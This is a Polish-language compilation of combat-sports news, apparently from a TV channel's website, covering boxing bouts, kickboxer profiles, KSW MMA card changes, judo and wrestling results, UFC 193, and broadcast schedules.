Przed szansą na zdobycie tytułu mistrza Europy w wadze cruiser stanie Mateusz Masternak. Z kolei Michał Cieślak w ringu zaprezentuje się już 27 listopada. 26-latek liczy na kolejną wygraną i z nadziejami patrzy w przyszłość.

Polska junior ciężka

Polscy bokserzy coraz śmielej poczynają sobie w kategorii junior ciężkiej. Krzysztof Głowacki po fenomenalnej walce odebrał pas mistrza świata WBO Marco Huckowi. Mówiło się, że Polak w najbliższym czasie spotka się z BJ Floresem. 34-letni Amerykanin odrzucił jednak propozycję walki.

Jeszcze w listopadzie na ring wejdzie Michał Cieślak. 26-latek w ostatnim czasie pokazał, że potrafi efektownie walczyć. Dwa ostatnie pojedynki Polak wygrał przez nokaut w pierwszych rundach. Cieślak nadal jest niepokonany na zawodowym ringu. 27 listopada w Łodzi jego rywalem będzie Hamza Wandera. Szansę na zdobycie tytułu mistrza Europy będzie miał Mateusz Masternak. „Master” po wpadce z Yourim Kalengą powoli wraca do boksu na najwyższym poziomie. 12 grudnia w Londynie Masternak zmierzy się z Tony’m Bellewem.

Po ponad rocznej przerwie na ring wraca Krzysztof Włodarczyk. „Diablo” miał walczyć w maju o odzyskanie pasa WBC, jednak z powodu choroby nie mógł boksować z Grigorijem Drozdem. Polak w końcu zaprezentuje się na ringu i będzie miał okazję udowodnić, że jest w stanie wrócić do mistrzowskiej formy. 18 grudnia w Las Vegas ma zmierzyć się z Beibutem Shumenovem, który ostatnio pokonał BJ Floresa.

„Striczu” po raz trzeci

Maciej Sulęcki przygotowuje się do kolejnej walki na amerykańskich ringach. Popularny „Striczu” w tym roku debiutował w Stanach Zjednoczonych, po tym jak podpisał kontrakt z Alem Haymonem. Do tej pory Sulęcki imponuje skutecznością. Dwie walki wygrał przed czasem i pokazał, że ma potencjał, aby zaistnieć w wadze średniej. 26-latek miał pojawić się na ringu na początku grudnia, jednak plany uległy zmianie. Sulęcki będzie boksował jeszcze w tym roku. Cały czas nie wiadomo, kto miałby stanąć na wprost Polaka.

Kolejną okazję do zaprezentowania swojego kunsztu dostanie Artur Szpilka. Popularny „Szpila” już 12 grudnia na gali w San Antonio ma zmierzyć się z Amirem Mansourem. Rywal już wiekowy, bo liczy 43 wiosny, jednak poniósł tylko jedną porażkę w swojej karierze. W kwietniu 2014 roku przegrał ze Stevem Cunninghamem. Z kolei „Szpila” świetnie czuje się na amerykańskich ringach. W tym roku stoczył w Stanach trzy pojedynki i wszystkie rozstrzygnął przed czasem.

27 listopada w Rzeszowie o tytuł mistrzyni Europy w wadze półśredniej powalczy Ewa Piątkowska. Rywalką „Tygrysicy” będzie Marie Riederer, która ostatnie dwie walki przegrała. Pogromczynią Piątkowskiej okazała się Ewa Brodnicka. 19 grudnia 31-letnia pięściarka w Łomiankach zmierzy się z Belgijką Efil Philips. Stawką pojedynku będzie pas mistrzyni Europy wagi lekkiej.

KM

Zabit Samiedow

Utytułowany białoruski kickboxer wagi ciężkiej pochodzenia azerskiego urodzony 21 czerwca 1984 roku w Gardabani. Samiedow urodził się na terenie Gruzji  w rodzinie wywodzącej się z azerskiej mniejszości narodowej. W wieku 10 lat wraz z rodzicami wyemigrował na Białoruś i zamieszkał w Mińsku. Tam zapisał się na treningi Muay Thai do renomowanego klubu Chinuk Gym, którego barwy reprezentuje do tej pory. Był tam sparingpartnerem m.in. Aleksieja Ignaszowa. W 1998 roku otrzymał obywatelstwo Białorusi i został włączony do Białoruskiej kadry narodowej w boksie tajskim. W tym samym roku został amatorskim mistrzem Europy juniorów. W następnych latach wygrał wiele turniejów w muay thai i kickboxingu. W 2004 roku zdobył mistrzostwo Świata Muay Thai organizacji WAKO. Od 2006 roku walczy w pojedynkach na zasadach K-1. Zwycięstwa w regionalnych turniejach w Debreczynie i Rydze sprawiły, że rok później zadebiutował w prestiżowym cyklu K-1 World Grand Prix. W 2007 roku został finalistą Grand Prix USA w Las Vegas. Wkrótce potem ogłoszono, że w pobranych przed turniejem próbkach moczu Samiedowa wykryto ślady sterydu anabolicznego stanazolanu. Mimo to, władze organizacji K-1 nie zdecydowały się zawiesić Białorusina. W kwietniu 2008 roku Samiedow zajął drugie miejsce w Grand Prix Europy w Amsterdamie. W finale został pokonany przez Errola Zimmermana. W listopadzie zmierzył się z Tyrone’em Spongiem o mistrzostwo organizacji It’s Showtime w kategorii do 95kg. Przegrał przez jednogłośną decyzję po pięciu rundach. Swoje pierwsze zwycięstwo w turnieju rangi World GP odniósł w maju 2009 roku. Wygrał K-1 World GP w Łodzi, zdobywając przepustkę do jesiennego eliminatora K-1 World Grand Prix 2009 Final 16. Tam w walce o awans do finału K-1 WGP został znokautowany ciosem w korpus przez Barda Hari. W 2011 roku po wielu latach startów w boksie tajskim i kickboxingu, postanowił przejść do MMA. W marcu w swoim debiucie wygrał w Mińsku przed czasem z Ukraińcem Horbenką. Swoją drugą walkę na zasadach MMA stoczył 1 czerwca 2012. Na otwartych Mistrzostwach Rosji w MMA znokautował obrotowym kopnięciem Ukraińca Witalija Oparina w pierwszej rundzie.  

Posted in Bez kategorii

Daniel Ghita

Rumiński Kick-boxer urodzony 22 kwietnia 1981 roku w Bukareszcie. W latach 2004-2008 występował w Rumuńskiej organizacji Kick-bokserskiej Local Kombat, której był mistrzem w wadze ciężkiej. W maju 2005 roku zdobył mistrzostwo Europy WKN w boksie tajskim, pokonując przez decyzję Mourada Bouzidi. W formule K-1 zadebiutował w maju 2007 roku na gali K-1 Fighting Network Romania. 11 sierpnia 2009 roku po raz pierwszy wystąpił w prestiżowym cyklu K-1 World GP. W swoim debiucie wygrał w Tokio turniej kwalifikacyjny do K-1 WGP Final 16, pokonując wszystkich trzech rywali przed czasem w pierwszej rundzie. Mimo że w Final 16 uległ Semmy’emu Schiltowi, wystąpił podczas finału K-1 WGP w drugiej walce rezerwowej z debiutującym w K-1 Siergiejem Charitonowem. Ghita znokautował Rosjanina. W październiku 2010 roku podczas Final 16 znokautował Errola Zimmermana, zostając pierwszym w historii Rumunem, który awansował do Finału K-1 WGP. W ćwierćfinale tego turnieju został wyeliminowany przez Gokhana Sakiego, po niezwykle zaciętym pojedynku. 28 stycznia 2012 roku na gali It’s Showtime 2012 in Leeuwarden stoczył pojedynek o mistrzostwo organizacji It’s Showtime w wadze ciężkiej z Hesdym Gergesem. Ghita już w pierwszej rundzie znokautował Egipcjanina lewym sierpowym, odbierając mu pas mistrzowski. 

KSW bez Drwala

Tomasz Drwal w Krakowie miał stoczyć drugi pojedynek dla organizacji KSW. Popularny „Gorilla” nie pojawi się jednak w stolicy Małopolski. Powodem absencji fightera jest kontuzja kolana.

33-letni Drwal miał zmierzyć się w Krakowie z Azizem Karaoglu. KSW szybko znalazło zastępstwo za Polaka i 38-letni Niemiec będzie rywalizował z dobrze znanym polskiej publiczności Maiquelem Falcao.

Konieczna operacja

Co właściwie się stało? Podczas środowego treningu 33-latek doznał kontuzji lewego kolana, a rozkładając kwestię na czynniki pierwsze – uszkodził łękotkę i zerwał więzadła krzyżowe. Prawdopodobnie w przyszłym tygodniu „Gorillę” czeka operacja. Po niej Drwal przejdzie rehabilitację.

Podczas gali KSW 33 polski fighter miał się zmierzyć z efektownym Azizem Karaoglu. 38-latek w ostatnim czasie pokazał, że jest mocny i potrafi efektownie walczyć. Przekonali się o tym Piotr Strus oraz Jay Silva. Zwłaszcza Brazylijczyk dotkliwe odczuł mocną pięść Karaoglu podczas KSW 31. Silva został oszołomiony przez swojego rywala i nie był w stanie kontynuować walki. Karaoglu potrzebował półtorej minuty, aby odnieść zwycięstwo. Z kim zatem zmierzy się 38-latek w Krakowie? Za Drwala wystąpi Maiquel Falcao, który z dobrej strony pokazał się podczas gali KSW w Londynie. W zaledwie sześćdziesiąt sekund Brazylijczyk uporał się z Brettem Cooperem i dodatkowo zgarnął nagrodę za nokaut wieczoru. 

Szkoda, że w Krakowie zabraknie Drwala. 33-latek ma za sobą występy w UFC i przez wielu uznawany jest za czołowego zawodnika MMA w Polsce. Fani KSW długo musieli czekać na „Gorillę”, który w końcu zaprezentował się im podczas gali w Trójmieście. Tam musiał uznać wyższość Michała Materli, który wygrał na cztery sekundy przed zakończeniem pojedynku. Na tę walkę wszyscy czekali z niecierpliwością, jednak już teraz fani zacierają ręce przed starciem kolejnym wielkim starciem –  Materla vs Khalidov. Stawką pojedynku będzie pas mistrzowski KSW w wadze średniej.

Zmiana u pań

W klatce KSW zadebiutuje również Katarzyna Lubońska, która pierwotnie miała zmierzyć się z Kamilą Porczyk. Trzykrotna mistrzyni świata fitness musiała wycofać się z rywalizacji z powodu kontuzji kręgosłupa.

Nową rywalką Lubońskiej została Ariane Lipski. Brazylijka przyciąga wzrok wielu panów, gdyż jest bardzo urodziwą kobietą. W ostatnim czasie 21-letnia Lipski walczyła w organizacji Striker’s House Cup. Zawodniczka z Kraju Kawy wygrała trzy ostatnie walki, a z Geisyele Nascimento uporała się w zaledwie trzydzieści pięć sekund. Lipski wywodzi się z tajskiego boksu. Zapowiada się emocjonujące, a przede wszystkim urodziwe starcie w KSW.

Warto przypomnieć, że o pas wagi ciężkiej rywalizować będą Karol Bedorf oraz Michał Kita. Dla popularnego „Masakry” będzie to debiut w KSW. Wcześniej Kita rywalizował na galach m.in. M-1 oraz Bellatora.

KM

Grand Prix w Qingdao; kto zatrzyma francuskiego judokę Rinera?

Słynny francuski judo, niepokonany od 5 lat Teddy Riner znów na ekranach telewidzów FightKlubu. W Grand Prix w Qingdao w Chinach (20-22 listopada) zobaczymy też dwoje reprezentantów Polski: Michał Bartusika (-66 kg) i Katarzynę Kłys (-70 kg).Teddy Riner ma dopiero 26 lat, a w dorobku już m.in. złoto olimpijskie w Londynie, brąz w Pekinie oraz 8 tytułów Mistrza Świata Seniorów. W zeszłym tygodniu sięgnął po tytuł Mistrza Francji, a na pokonanie 5 rywali potrzebował zaledwie 6 minut i 27 sekund. Połowę tego czasu trwał finał z 31-letnim Mathieu Thorel. Ostatnią porażkę Teddy Riner poniósł 13 września 2010 roku z Japończykiem Daiki Kamikawą wskazaniem sędziów. Miało to miejsce podczas DMŚ w Tokio. Od tego czasu Francuz stoczył 101 zwycięskich walk. Ale brakuje mu bardzo dużo do rekordu znakomitego Japończyka Yasuhiro Yamashity, który w latach 1977-85 wygrał 203 walk. Przez kilka sezonów w latach 90. niepokonany był też słynny nasz zawodnik Paweł Nastula, Mistrz Olimpijski z Atlanty i 2-krotny Mistrz Świata. Mierzący ponad 200 cm i ważący 145 kg Teddy Riner na dziś jest poza zasięgiem rywali, a może jednak dojdzie do niespodzianki podczas GP Chin? 

Zapraszamy do oglądania naszych relacji na zywo od piątku do niedzieli o g. 09:00.

W Qingdao powalczy też dwójka Polaków 1. dnia wystąpi rzeszowianin Michał Bartusik z klubu Millenium, a w sobotę na tatami będzie rywalizować najbardziej utytułowana obecnie polska judoczka Katarzyna Kłys z Polonii Rybnik. Po Grand Slamie w Abu Dhabi trenowała na zgrupowaniu w hiszpańskiej Maladze, a ostatnie dni spędziła na przygotowaniach w Rybniku i Krakowie.

Zapowiada się gorąca jesień z judo w telewizji FightKlub. Następne transmisje na żywo już wkrótce – Grand Prix na wyspie Jeju (Korea Płd.) i najbardziej prestiżowa impreza na świecie Grand Slam w Tokio.

Super weekend LIVE w FightKlubie

Najbliższy weekend obfitował będzie w liczne  transmisje z różnych wydarzeń ze świata martial arts. Stacja  FightKlub pokaże na żywo zawody Grand Prix w Qingdao, galę bokserską z Las  Vegas z udziałem Diego De La Hoyi, turniej Kickboxing Talents, walkę o  EBU-EU w wadze cruiser oraz Puchar Świata Zawodowców w armwrestlingu  ZŁOTY TUR WORLD CUP  Rumia 2015.

Grand Prix w Qingdao

Od piątku do niedzieli o godzinie 10:00, FightKlub transmitować będzie zawody judo – Grand Prix w Qingdao. Słynny francuski judoka, niepokonany od 5 lat Teddy Riner znów pojawi się na ekranach telewizorów. W Qingdao powalczy też dw&ójka Polaków 1. dnia wystąpi rzeszowianin Michał Bartusik z klubu Millenium, a w sobotę na tatami będzie rywalizować najbardziej utytułowana obecnie polska judoczka Katarzyna Kłys z Polonii Rybnik. 

Zapowiada się gorąca jesień z judo w telewizji FightKlub. Następne transmisje na żywo już wkrótce  Grand Prix na wyspie Jeju (Korea Płd.) i najbardziej prestiżowa impreza na świecie Grand Slam w Tokio.

20 listopada: powrót Diego De la Hoyi

W Hard Rock Casino w Las Vegas na ring powróci Diego De La Hoya. Kuzyn legendarnego Złotego Chłopca jak do tej pory godnie nawiązuje do rodzinnej spuścizny, popisując się talentem, który pozwolił mu na zwycięstwa we wszystkich 12 zawodowych pojedynkach, w tym siedmiu przez nokaut. 21-latek z Meksyku tym razem zmierzy się z rodakiem Giovannim Delgado. Pojedynek odbędzie się na dystansie 8 rund w kategorii super koguciej. Stawką z kolei będzie tytuł WBC Youth wywalczony przez De La Hoyę w poprzednim występie z Jesusem Ruizem. Transmisja gali z Las Vegas w FightKlubie od 04:00 w nocy z piątku na sobotę (powtórka w sobotę o 16:00).

Italian Boxing: Walka o EBU-EU w wadze cruiser

Ostatnio w kategorii junior ciężkiej dzieję się sporo ciekawego. FightKlub przyjrzy się z bliska tej dywizji. W sobotę o 
22:00 pokaże dwa ciekawie zapowiadające się pojedynki. W pierwszym z nich Damian Bruzzese i Maurizio Lovaglio skrzyżują rękawice w starciu, którego stawką będzie wakujący tytuł mistrza Unii Europejskiej. Jego faworytem jest legitymujący się dużo lepszymi statystykami Bruzzese, który wygrał swoje trzy ostatnie walki, a w całej karierze poniósł zaledwie jedną porażkę. W walce Pietro Cirianiego z Simone Federicim stawką jest z kolei tytuł mistrza Włoch.

"Kickboxing Talents" 

Jeszcze więcej talentów i to z mekki kickboxingu – Holandii – zawita w FightKlubie na żywo w sobotę o 20:00! W imprezie Kick-boxing Talents zobaczymy młodych adeptów sztuki kick-boxingu (Fighting Spirit), którzy będą chcieli wywalczyć sobie miejsce wśród najlepszych.

21-22 listopada: XII edycja Pucharu Świata Zawodowców w armwrestlingu

Puchar Świata Zawodowców w armwrestlingu to najbardziej rozpoznawalna na świecie impreza w siłowaniu na ręce. Na specjalne zaproszenie organizatorów w zawodach weźmie udział prawie 200 najsilniejszych zawodników z ponad 25 krajów i 6 kontynentów w tym z Afryki, Ameryki Południowej i Północnej, Australii, Europy oraz Azji. O randze turnieju świadczy też fakt, że pula nagród tegorocznego Pucharu Świata Zawodowców to 34 200 USD. W zawodach startują zarówno kobiety jak i mężczyźni. Polskę reprezentować będzie około 30 osobowa kadra zawodników. W Rumi 
zobaczymy m.in. polskich medalistów mistrzostw świata, m.in. Marlenę Wawrzyniak i Sławomira Głowackie.

Relacja z pierwszego dnia zawodów w sobotę od północy, drugi dzień zawodów na żywo w niedzielę od 20:00.

Zwiastun: [kod]

Kadra pod nowym okiem

Andrzej Maksymiuk rozpoczął pracę z reprezentacją Polski zapaśników w stylu klasycznym. Cel postawiony przed trenerem jest jasny. Wywalczenie przepustek na Igrzyska Olimpijskie w Rio de Janeiro.

Nasi klasycy muszą wziąć się ostro do pracy i efektownie przepracować najbliższy okres. Trzeba wykorzystać każdą nadarzającą się okazję na zdobycie przepustki do Rio.

Drużyna Maksymiuka 

W Centralnym Ośrodku Sportu w Spale odbyła się oficjalna prezentacja nowego sztabu szkoleniowego kadry w stylu klasycznym. Wiadomo, że trener Maksymiuk podpisał kontrakt do 30 września 2017 roku. Kto będzie pomagał mu w pełnieniu obowiązków? Jednym z asystentów Maksymiuka będzie Józef Tracz, który ma w swojej kolekcji medale mistrzostw świata i Europy. Były zapaśnik WKS Śląsk Wrocław stawał na podium podczas Igrzysk Olimpijskich. W Barcelonie w 1992 roku wywalczył tytuł wicemistrza olimpijskiego, z kolei w 1988 (Seul) i 1996 (Atlanta) stanął na najniższym stopniu podium. Drugim z asystentów Maksymiuka będzie Walerij Cylent. Białorusin w 1996 roku w Atlancie zdobył brązowy medal olimpijski w kategorii 82kg. Z kolei Damian Fedorowicz będzie odpowiedzialny za sprawy organizacyjne.

Cel nowego sztabu szkoleniowego jest oczywisty. Kadra musi godnie zaprezentować się na Igrzyskach Olimpijskich w Rio de Janeiro, ale najpierw trzeba uzyskać kwalifikacje. Zostało osiem miesięcy do rozpoczęcia imprezy. Maksymiuk wchodzi na rozgrzany pokład, którego dowódcą do tej pory był Ryszard Wolny, jednak poległ ze względy na słaby występ podczas mistrzostw świata w Las Vegas. 

Pierwszy poważny sprawdzian dla nowego szkoleniowca nadejdzie w kwietniu, kiedy to odbędą się mistrzostwa Europy w Zerjaninie. Maksymiuk musi dołożyć wszelkich starań, aby uzyskać jak najwięcej kwalifikacji olimpiskich. Z kolei w Rio zapaśnicy będą walczyli o medale. Damian Janikowski chciałby po raz kolejny stanąć na olimpijskim podium. Czy będzie mu to dane?

Medale ze Słowacji

Klasycy powinni wziąć przykład z reprezentacji kadetów w stylu wolnym. Polacy zaprezentowali się w dwunastym turnieju im. Andrieja Burika w Sninie na Słowacji. W międzynarodowych zawodach wzięło udział ponad stu zawodników z ośmiu państw.

Podopieczni Dariusza Grzywińskiego zaliczyli dobry występ. Polacy ze Słowacji przywiozą medale w każdym kolorze w łącznej liczbie trzech. Triumfował Damian Chołuj w kategorii 100kg, finałową walkę przegrał Krystian Brzeziński w 50kg. Z kolei Kordian Skrzyński startujący w 54kg wywalczył brązowy medal. 

W tym miejscu warto również wspomnieć o występie seniorskiej kadry w stylu wolnym w Pucharze Europy w Moskwie. Biało-czerwoni zajęli szóstą lokatę. Podczas rywalizacji w Moskwie przegrali dwa spotkania i odnotowali remis – z Białorusią.

KM

Występ na szóstkę

W skali szkolnej to najwyższa z możliwych ocen. Nasi judocy wywalczyli sześć medali podczas młodzieżowych mistrzostw Europy, które odbyły się w Bratysławie.

Biało-czerwoni zanotowali dobry występ. Wywalczenie sześciu medali pozwoliło Polakom na zajęcie piątej pozycji w klasyfikacji medalowej.

Blask złota wśród brązu

Z tytułem mistrzyni musi oswoić się Karolina Pieńkowska. 22-latka w Bratysławie stanęła na najwyższym stopniu podium w kategorii 52kg. W finale Pieńkowska uporała się z Teną Sikić, a łącznie stoczyła cztery zwycięskie boje.

Dwie walki wystarczyły Beacie Pacut do wywalczenia brązowego medalu młodzieżowych mistrzostw Europy w kategorii 52kg. Judoczka Czarnych Bytom w półfinale nie zdołała znaleźć sposobu na Ivanę Sutalo, czym zaprzepaściła szansę na walkę o złoto. Brąz zdobyła pokonując przez ippon Milicę Zabic. Pacut pokazała się z dobrej strony kolejny raz. W ubiegłym roku sięgnęła po srebrny medal mistrzostw Europy juniorek i brąz na mistrzostwach świata juniorek.

Siódme miejsce w tej samej kategorii zajęła Anna Załęczna. Polka po porażce w starciu z Aydaną Nagorovą trafiła do repasaży, gdzie nie sprostała Milicy Zabic. Można więc powiedzieć, że Pacut pomściła swoją rodaczkę.

W kategorii 70kg zaprezentowała się Urszula Hofman, która o pozostanie w turnieju musiała rywalizować w repasażach. Przeszkodą nie do przejścia okazała się Aleksandra Samardzic, która ostatecznie sięgnęła po srebrny medal. Polka w repasażach spisała się świetnie. Wygrała dwie walki i mogła cieszyć się z brązowego medalu. Na siódmym miejscu została sklasyfikowana Aleksandra Jabłońska, która wygrała jedną walkę.

Arleta Podolak i Anna Borowska na podium zmagań w kategorii 52kg. Obie sięgnęły po brązowe medale. Daria Mezhetskaia to zawodniczka, która w Bratysławie rywalizowała zarówno z Podolak jak i Borowską. Pierwszą z nich pokonała, a na drugiej zakończyła swój udział w mistrzostwach. Dzięki pokonaniu Mezhetskaii Borowska mogła rywalizować o trzecie miejsce na podium. Decydujące boje Polki zakończyły przed czasem.

Wśród pań uchował się również rodzynek. Brązowy medal młodzieżowych mistrzostw Europy zawisł na szyi Karola Kurzeja, który rywalizował w kategorii 81kg. Polak wygrał dwie walki i był już w półfinale, gdzie uległ Bułgarowi Ivaylo Ivanovowi. Z rywalizacji z Jabą Bitsadze wyszedł zwycięsko i stanął na trzecim stopniu podium. O krok od zdobycia medalu był Tomasz Szczepaniak w kategorii 90kg. Polak w decydującej walce uległ Nicholasowi Mungai.

Rosja najlepsza

Wśród młodzieżowców skutecznością wykazali się Rosjanie, którzy wywalczyli trzy złote medale. Taki sam wynik zanotowali Niemcy, jednak to Sborna wygrała klasyfikację medalową. Rosjanie wywalczyli łącznie siedem medali. Na trzecim miejscu uplasowali się Włosi, którzy zgromadzili pięć medali.

Polska uplasowała się na wysokiej, piątej pozycji. Biało-czerwonych wyprzedziła jeszcze Ukraina.

KM

Jędrzejczyk zwyciężyła, Holm zaskoczyła

Joanna Jędrzejczyk podczas gali UFC 193 po raz kolejny obroniła pas mistrzowski w kategorii słomkowej. Valerie Letourneau okazała się wymagającą przeciwniczką. W Melbourne stało się coś nieprawdopodobnego. Porażkę zanotowała Ronda Rousey.

O wielkości świadczy przede wszystkim umiejętność wyjścia z trudnej sytuacji. Jędrzejczyk to zawodniczka z charakterem, która imponuje wolą walki. Kanadyjka kilka razy zaskoczyła ją w oktagonie, jednak mistrzyni kategorii słomkowej była czujna i szybko reagowała na wydarzenia.

Nieustępliwa Letourneau

Jędrzejczyk przyzwyczaiła widzów, że to ona dyktuje warunki walki. W starciu z Letourneau Polka musiała być uważna już od samego początku. Kanadyjka bardzo szybko sprowadziła walkę do parteru. Przejęła low-kicka mistrzyni i mogła rozpocząć swoje rozpracowywanie rywalki, jednak Jędrzejczyk szybko udało wrócić się do stójki. Letourneau nie odpuszczała. Kanadyjka wywierała presję na Polkę, jednak ta w końcu trafiła rywalkę front-kickiem. To było pierwsze ostrzeżenie dla pretendentki.

W drugiej odsłonie Letourneau była już ostrożniejsza. Miała świadomość, że ciosy Jędrzejczyk mają ogromną siłę rażenia. Walka uspokoiła się, Polka szukała swojej szansy w niskich kopnięciach, jednak rywalka skutecznie się broniła. Letourneau klinczowała, czym hamowała zapędy Jędrzejczyk. Polka starała się atakować nogami, jednak Kanadyjka była przygotowana na takie zagrania. Mistrzyni była stroną przeważającą i decydowała o obliczu walki, ale Letourneau dobrze radziła sobie w obronie. Jednak praca w defensywie również jest męcząca, co doskonale było widać po Kanadyjce.

Przewaga Polki nie podlegała dyskusji. W czwartej rundzie kontynuowała swoją taktykę i atakowała Letourneau, która raz zaskoczyła mistrzynię podbródkowym. Jędrzejczyk konsekwentnie stawiała na low-kicki. Pod koniec rundy 32-latka z Montrealu przyjęła mocny podbródkowy. Zachwiała się, ale nadal walczyła. Kanadyjka okazała się twardą zawodniczką, jednak jej działania sprowadzały się wyłącznie do obrony. W ataku była bierna, wyprowadzała pojedyncze ciosy. Do ostatniej rundy Letourneau wyszła nastawiona ofensywnie, jednak nie zagroziła Jędrzejczyk. Mistrzyni konsekwentnie osłabiała przeciwniczkę niskimi kopnięciami, a przy okazji stosowała kombinacje bokserskie. Twarz Kanadyjki wyraźnie spuchła. Jędrzejczyk w pełni kontrolowała tę walkę i odniosła zwycięstwo na punkty. Jedenasty triumf stał się faktem.

Nie do wiary!

Tego chyba nikt się nie spodziewał! 34-letnia Holly Holm została mistrzynią UFC w wadze koguciej. Amerykanka to zawodniczka z ogromnym potencjałem i umiejętnościami, jednak w starciu z Rondą Rousey jej szanse oceniano jako nikłe.

„Rowdy” poniosła pierwszą porażkę w karierze i straciła pas mistrzowski. Stało się coś, co dla wielu jest trudne do zrozumienia. Wydawało się, że Rousey jest niezniszczalna i nie ma siły, która by ją powstrzymała. Już fakt, że Holm przetrwała pierwszą rundę pokazał, że 34-latka jest mocna. Holm nie przestraszyła się swojej utytułowanej przeciwniczki. W drugiej rundzie zdecydowanie na nią ruszyła i wypunktowała Rousey. Głowa „Rowdy” cierpiała od kolejnych ciosów, a Amerykanka nie potrafiła się uwolnić. Holm po niespełna minucie rywalizacji w drugiej rundzie mogła cieszyć się z pasa mistrzowskiego.

W pierwszej rundzie poległ Peter Sobotta. Kyle Noke kopnięciami na korpus wypunktował swojego rywala i po dwóch minutach zakończył pojedynek.

Na zdjęciu Joanna Jędrzejczyk podczas walki z Jessicą Penne, którą nasza mistrzyni rozstrzygnęła przed czasem. Tym razem efektownego zakończenia rywalizacji nie było, ale Polka pokazała swój potencjał.

KM

Mamy mistrzynię Europy!

Karolina Pieńkowska w kategorii wagowej 52kg sięgnęła po tytuł młodzieżowej mistrzyni Europy w judo. Polka była skuteczna i do bólu perfekcyjna. W trakcie rywalizacji nie straciła żadnego punktu.

Do Bratysławy udała się osiemnastoosobowa kadra Polski. Po pierwszym dniu rywalizacji biało-czerwoni mają na koncie trzy medale, w tym złoty autorstwa Karoliny Pieńkowskiej.

Młoda mistrzyni

Pieńkowska po raz pierwszy w swojej karierze zdobyła złoty medal na imprezie rangi mistrzowskiej. Wcześniej była w czołówce, ale nigdy nie zwyciężyła. W 2010 roku podczas mistrzostw Europy juniorek w Samokowie wywalczyła brązowy medal. Warto zaznaczyć, że Polka startowała wtedy w kategorii 48kg. Z kolei w 2012 roku rywalizowała już w 52kg i w Porecu powtórzyła sukces – brązowy medal. 22-latka regularnie startuje w międzynarodowych turniejach. W tym roku na swoim koncie zapisała start w mistrzostw świata w Astanie, gdzie drużynowo wywalczyła srebrny medal. Piątek 13-tego okazał się szczęśliwy dla naszej zawodniczki. Pieńkowska mogła podskoczyć z radości po pojedynku z Teną Sikić.

Skuteczna, perfekcyjna, precyzyjna, uważna – taka była Pieńkowska w Bratysławie. Na początku los się do niej uśmiechnął. Rywalizację zaczęła od drugiej rundy, więc miała więcej czasu na przygotowanie. Pierwszą rywalką naszej judoczki była Patricia Toth. Polka potrzebowała zaledwie półtorej minuty, aby rozprawić się z Węgierką. Przez waza-ari Pieńkowska wygrała z Rosjanką Anną Dmitrievą. Dwa zwycięstwa zapewniły 22-letniej zawodniczce awans do strefy medalowej. O finał Polka rywalizowała z Katri Kakko. Judoczka z Finlandii musiała uznać wyższość Pieńkowskiej, która zastopowała zapędy swojej rywalki przez ippon. W finale Polka była bardziej aktywna i agresywna. Uparcie szukała swojej szansy, co przekładało się na zdobycz punktową. Pieńkowska wygrała przez waza-ari.

Cztery walki Pieńkowski, w których dwa razy zwyciężyła przez ippon. Ponadto Polka trzy razy punktowała stosując waza-ari, a raz yuko. Pieńkowska została młodzieżową mistrzynią Europy!

Dziewczyny lubią brąz

Słowa jednej z piosenek Ryszarda Rynkowskiego idealnie pasują do startu Anny Borowskiej i Arlety Podolak podczas czempionatu w Bratysławie. Zawodniczki rywalizujące w kategorii 52kg zdobyły brązowe medale.

Podolak wygrała walkę z Anastasiją Michailovą, jednak w kolejnym pojedynku poległa. Pogromczynią Polki okazała się Daria Mezhetskaia. W związku z porażką Podolak czekała rywalizacja w repasażach, gdzie wykazała się skutecznością i pokonała dwie rywalki, co dało jej szansę walki o brązowy medal. Podobną drogę przebyła Anna Borowska. Polka wygrała dwie walki, ale w trzecim starciu musiała uznać wyższość Niemki Sappho Coban. Jedyną szansą na rywalizację o medale było przejście przez repasaże. Polka trafiła m.in. na Mezhetskaię, która pokonała Arletę Podolak. Borowska pomściła swoją rodaczkę, co pozwoliło jej rywalizować o trzecie miejsce.

W decydujących pojedynkach obie zawodniczki zwyciężyły przed czasem. Zawodniczka Czarnych Bytom pokonała Tanję Bozović z Czarnogóry, a Daria Meżecka musiała pogodzić się ze zwycięstwem reprezentującej barwy Polonii Rybnik Borowskiej.

Szybko z rywalizacją pożegnali się Michał Bartusik i Patryk Wawrzyczek, którzy rywalizowali w 66kg. Tylko jedną walkę w 48kg stoczyła Katarzyna Wiszniewska.

KM 

Wyciągają ręce po tytuły

Przed Krzysztofem „Diablo” Włodarczykiem i Mateuszem Masternakiem kolejne pojedynki. Obaj pięściarze będą mieli szansę powrócić do glorii chwały w wadze junior ciężkiej.

Polscy kibice mają prawo nie pamiętać, kiedy po raz ostatni na ringu zaprezentował się Włodarczyk. Były mistrz świata WBC stoczy pojedynek po piętnastomiesięcznej przerwie.

Zapomnieć o Drozdzie

Ostatnia walka „Diablo” odbyła się 27 września 2014 roku w Moskwie. Polak rywalizował z Grigorijem Drozdem, na rzecz którego stracił mistrzowski pas WBC. Rosjanin wygrał zdecydowanie w oczach sędziów, konsekwentnie przez cały pojedynek budując swoją przewagę. Włodarczyk był zbyt wolny, przewidywalny i stracił pas. Po pojedynku otwarcie przyznawał, że to starcie mu nie wyszło. Zapowiadał swój powrót i odzyskanie pasa. Włodarczyk miał stoczyć w maju pojedynek rewanżowy z Drozdem, jednak choroba uniemożliwiła mu rywalizację.  Zastąpił go Łukasz Janik, ale bez powodzenia.

W mediach przewijały się rewelacje na temat możliwej walki Włodarczyka z Adamkiem. Jednak „Diablo” cierpliwie czekał na swój powrót, bo nadal poważnie myśli o boksie na najwyższym poziomie. 18 grudnia Polak zmierzy się z Bejbutem Szumenowem. Stawką starcia, do którego dojdzie w Las Vegas będzie tymczasowy pas WBA wagi junior ciężkiej. Kazach zdobywa dopiero doświadczenie w kategorii cruiser. Wcześniej z powodzeniem rywalizował w półciężkiej. Po pas sięgnął w lipcu, kiedy to uporał się z BJ Floresem. Zatem rywalizacja z Włodarczykiem będzie w jego wykonaniu pierwszą obroną tytułu. „Diablo” dostał ciekawą propozycję. Polak może wrócić w wielkim stylu, a dodatkowo podczas  gali w Stanach Zjednoczonych, a w Ameryce były mistrz świata WBC jeszcze nie przegrał.

Cel: odzyskać pas

Złe wspomnienia z rywalizacji z Grigorijem Drozdem ma również Mateusz Masternak. Popularny „Master” w październiku 2013 roku stracił tytuł mistrza Europy na rzecz rosyjskiego boksera.

